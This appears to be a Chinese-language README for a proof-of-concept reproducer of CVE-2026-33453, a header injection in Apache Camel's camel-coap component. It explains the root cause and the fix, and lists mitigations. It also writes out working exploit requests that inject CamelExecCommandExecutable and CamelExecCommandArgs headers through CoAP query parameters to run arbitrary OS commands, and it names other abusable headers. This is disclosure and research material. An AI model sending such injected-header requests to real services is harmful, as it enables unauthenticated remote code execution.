
CVE-2026-33453 的复现器:Apache Camel camel-coap 标头注入,通过 camel-exec 实现 RCE
本项目演示了 Apache Camel camel-coap 组件中的一个 Camel 消息标头注入 漏洞,编号为 CVE-2026-33453。未认证的攻击者只需发送一个 CoAP UDP 数据包,即可向 Exchange 中注入任意 Camel* 控制标头,当路由将消息转发给诸如 camel-exec 等对标头敏感的生产者时,即可实现 远程代码执行。
安全公告:https://camel.apache.org/security/CVE-2026-33453.html
| 属性 | 值 |
|---|---|
| 组件 | camel-coap |
| 受影响类 | org.apache.camel.coap.CamelCoapResource (handleRequest) |
| 根本原因 | CoAP URI 查询参数在未使用 HeaderFilterStrategy 的情况下被复制到 Exchange 标头 |
| CWE | CWE-915:对动态确定对象属性的不当控制修改 |
| 影响 | 远程代码执行(通过对标头敏感的生产者,如 camel-exec) |
| 攻击面 | 单个未认证的 CoAP UDP 数据报(默认端口 5683) |
| 受影响版本 | 4.14.0 至 4.14.6 之前,以及 4.15.0 至 4.18.1 之前 |
| 修复版本 | 4.14.6、4.18.1、4.19.0 |
| JIRA | CAMEL-23222 |
| 报告者 | Hyunwoo Kim (@v4bel) |
在受影响版本中,CamelCoapResource.handleRequest() 会遍历 CoAP 请求的 URI 查询选项,并将每一项复制到 Camel Exchange 的 In 标头中,且不应用任何 HeaderFilterStrategy:
// CamelCoapResource.handleRequest() - affected version
OptionSet options = exchange.getRequest().getOptions();
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
String name = (i == -1) ? s : s.substring(0, i);
String value = (i == -1) ? "" : s.substring(i + 1);
camelExchange.getIn().setHeader(name, value); // NO HeaderFilterStrategy!
}
CoAPEndpoint 继承自 DefaultEndpoint(而非 DefaultHeaderFilterStrategyEndpoint),CoAPComponent 也未实现 HeaderFilterStrategyComponent,因此根本不存在任何过滤器。攻击者只需向 CoAP 请求 URI 添加查询参数,即可设置任意标头——包括 Camel 内部的 Camel* 控制标头。
当路由将消息传递给对标头敏感的生产者时,这些标头会改变其行为。对于 camel-exec,CamelExecCommandExecutable 和 CamelExecCommandArgs 标头会覆盖端点上配置的可执行文件和参数(在受影响版本中默认生效),从而实现任意操作系统命令执行。命令的标准输出会被写回 Exchange 消息体,并通过 CoAP 响应返回,从而形成一条交互式 RCE 通道。
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello") // fixed, harmless command
.convertBodyTo(String.class); // return stdout in the CoAP response
良性请求会执行 echo hello。攻击者可通过注入的标头覆盖该命令。
CoAP 基于 UDP(RFC 7252),没有内置认证(DTLS 为可选且默认禁用),因此无需外部服务或 Docker 容器——复现程序本身既是易受攻击的 CoAP 服务器,又内置了攻击者客户端(使用 libcoap 的 coap-client 等原始客户端也可)。
mvn clean package -DskipTests
mvn spring-boot:run
应用会在 coap://0.0.0.0:5683/run 上启动易受攻击的路由,并在 8080 端口启动一个辅助 REST 控制器。
curl http://localhost:8080/exploit/normal
# -> CoAP response: hello
# Default benign proof: touch /tmp/pwned
curl "http://localhost:8080/exploit/attack"
# Choose a different executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-coap"
在底层,内置的 CoAP 客户端会发送单个数据报:
coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned
或者改用原始 CoAP 客户端:
coap-client -m get "coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned"
ls -la /tmp/pwned
如果 /tmp/pwned 存在,则说明注入的标头覆盖了 exec 命令 → RCE。
该注入只需要下游有一个对标头敏感的生产者。安全公告中列出的向量包括(但不限于):
CamelExecCommandExecutable / CamelExecCommandArgs → 操作系统命令执行CamelFileName → 任意文件写入 / 路径遍历CamelBeanMethodName → 调用其他方法coap://... 消费消息的 Camel 路由。removeHeaders("Camel*")。无需认证;只需向 5683 端口发送一个 UDP 数据报即可。
修复方案(CAMEL-23222)让 CoAPEndpoint 携带 HeaderFilterStrategy,并在 handleRequest() 设置标头之前应用它,从而像其他所有传输协议一样,在 CoAP 边界过滤掉 Camel* 前缀的名称:
HeaderFilterStrategy strategy = consumer.getCoapEndpoint().getHeaderFilterStrategy();
...
if (strategy == null || !strategy.applyFilterToExternalHeaders(name, value, camelExchange)) {
camelExchange.getIn().setHeader(name, value);
}
在升级之前:
from("coap:...") 之后立即对来自 CoAP 的消息执行 .removeHeaders("Camel*")。coaps://),以限制谁能访问该端点。CVE-2026-33453/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── CoapExecRoute.java # the vulnerable victim route (coap -> exec)
│ └── ExploitController.java # bundled CoAP attacker client (/exploit/normal, /exploit/attack)
└── resources/
└── application.properties
本复现工具仅供安全研究和授权测试使用,针对的是已公开披露并已修复的漏洞。未经明确许可,请勿将其用于任何系统。